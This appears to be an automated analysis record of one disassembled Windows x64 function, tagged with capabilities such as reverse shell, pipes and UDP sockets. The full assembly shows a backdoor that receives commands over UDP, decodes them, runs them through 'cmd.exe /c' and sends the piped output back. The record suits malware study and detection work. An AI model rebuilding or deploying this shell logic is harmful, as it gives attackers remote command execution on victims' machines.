Function at 0x140001023
Capabilities:
Check for protected handle exception
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create tcp socket
Create two anonymous pipes
Create udp socket
Initialize winsock library
Read and send data from client to server
Read file on windows
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub rsp, 8
sub rsp, 0x20
mov rcx, 0x101
movabs rdx, 0x140003156
call sub.WSOCK32.dll_WSAStartup
add rsp, 0x20
sub rsp, 0x20
mov rcx, 2
mov rdx, 2
mov r8, 0x11
call sub.WSOCK32.dll_socket
add rsp, 0x20
mov qword [section..bss], rax
sub rsp, 0x20
movabs rcx, str.127.0.0.1
call sub.WSOCK32.dll_inet_addr
add rsp, 0x20
mov word [0x14000203e], 2
mov word [0x140002040], 0x3500
mov dword [0x140002042], eax
sub rsp, 0x20
call sub.KERNEL32.dll_GetTickCount64
add rsp, 0x20
mov r14, rax
mov dword [0x1400030bc], r14d
ror r14, 0x20
sub rsp, 0x30
mov rcx, qword [section..bss]
movabs rdx, 0x1400030bc
mov r8, 0x9a
mov r9, 0
movabs rax, 0x14000203e
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0x10
call sub.WSOCK32.dll_sendto
add rsp, 0x30
mov dword [0x1400030bc], r14d
ror r14, 0x20
sub rsp, 0x30
mov rcx, qword [section..bss]
movabs rdx, 0x1400030bc
mov r8, 0x9a
mov r9, 0
movabs rax, 0x14000203e
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0x10
call sub.WSOCK32.dll_sendto
add rsp, 0x30
mov dword [0x1400030a8], 0x10
mov qword [0x1400030b0], 0
mov dword [0x1400030ac], 1
sub rsp, 0x20
movabs rcx, 0x140003010
movabs rdx, 0x140003020
movabs r8, 0x1400030a8
mov r9, 0
call sub.KERNEL32.dll_CreatePipe
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [0x140003010]
mov rdx, 1
mov r8, 1
call sub.KERNEL32.dll_SetHandleInformation
add rsp, 0x20
sub rsp, 0x20
movabs rcx, 0x140003008
movabs rdx, 0x140003018
movabs r8, 0x1400030a8
mov r9, 0
call sub.KERNEL32.dll_CreatePipe
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [0x140003020]
mov rdx, 1
mov r8, 1
call sub.KERNEL32.dll_SetHandleInformation
add rsp, 0x20
mov ecx, pe_nt_image_headers64
movabs rdi, 0x1400030d6
xor al, al
rep stosb byte [rdi], al
sub rsp, 0x20
mov rcx, qword [section..bss]
movabs rdx, 0x1400030d6
mov r8, pe_nt_image_headers64
mov r9, 0
call sub.WSOCK32.dll_recv
add rsp, 0x20
movabs rsi, 0x1400030d6
mov rdi, rsi
mov ecx, pe_nt_image_headers64
call fcn.140001016
cmp dword [0x1400030d6], 0x640063
je 0x14000145f
mov dword [0x140003040], 0x68
mov dword [0x14000307c], 0x101
mov dword [0x140003080], 0
mov rax, qword [0x140003008]
mov qword [0x140003090], rax
mov rax, qword [0x140003020]
mov qword [0x140003098], rax
mov qword [0x1400030a0], rax
movabs rdi, 0x1400032ee
movabs rsi, str.C:WindowsSystem32cmd.exe__c
mov ecx, 0x3e
rep movsb byte [rdi], byte [rsi]
movabs rsi, 0x1400030d6
mov ecx, pe_nt_image_headers64
rep movsb byte [rdi], byte [rsi]
xor al, al
stosb byte [rdi], al
sub rsp, 0x50
mov rcx, 0
movabs rdx, 0x1400032ee
mov r8, 0
mov r9, 0
mov qword [rsp + 0x20], 1
mov qword [rsp + 0x28], 0x480
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
movabs rax, 0x140003040
mov qword [rsp + 0x40], rax
movabs rax, 0x140003028
mov qword [rsp + 0x48], rax
call sub.KERNEL32.dll_CreateProcessW
add rsp, 0x50
sub rsp, 0x20
mov rcx, qword [0x140003028]
mov rdx, 0x1388
call sub.KERNEL32.dll_WaitForSingleObject
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [0x140003028]
call sub.KERNEL32.dll_CloseHandle
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [0x140003030]
call sub.KERNEL32.dll_CloseHandle
add rsp, 0x20
mov dword [0x1400030b8], 0
mov ecx, pe_nt_image_headers64
movabs rdi, 0x1400030d6
xor al, al
rep stosb byte [rdi], al
sub rsp, 0x30
mov rcx, qword [0x140003010]
movabs rdx, 0x1400030d6
mov r8, pe_nt_image_headers64
movabs r9, 0x1400030b8
mov qword [rsp + 0x20], 0
call sub.KERNEL32.dll_ReadFile
add rsp, 0x30
cmp eax, 0
je 0x14000145f
movabs rsi, 0x1400030d6
mov rdi, rsi
mov ecx, pe_nt_image_headers64
call fcn.140001016
sub rsp, 0x30
mov rcx, qword [section..bss]
movabs rdx, 0x1400030bc
mov r8, 0x9a
mov r9, 0
movabs rax, 0x14000203e
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0x10
call sub.WSOCK32.dll_sendto
add rsp, 0x30
cmp dword [0x1400030b8], 0x80
jl 0x14000145f
jmp 0x1400013a3
mov ecx, 2
movabs rax, 0xaaaaaaaaaaff4322
sub rax, 0x549878
movabs rdi, 0x1400030d6
rep stosq qword [rdi], rax
movabs rsi, 0x1400030d6
mov rdi, rsi
mov ecx, pe_nt_image_headers64
call fcn.140001016
sub rsp, 0x30
mov rcx, qword [section..bss]
movabs rdx, 0x1400030bc
mov r8, 0x2a
mov r9, 0
movabs rax, 0x14000203e
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0x10
call sub.WSOCK32.dll_sendto
add rsp, 0x30
jmp 0x140001212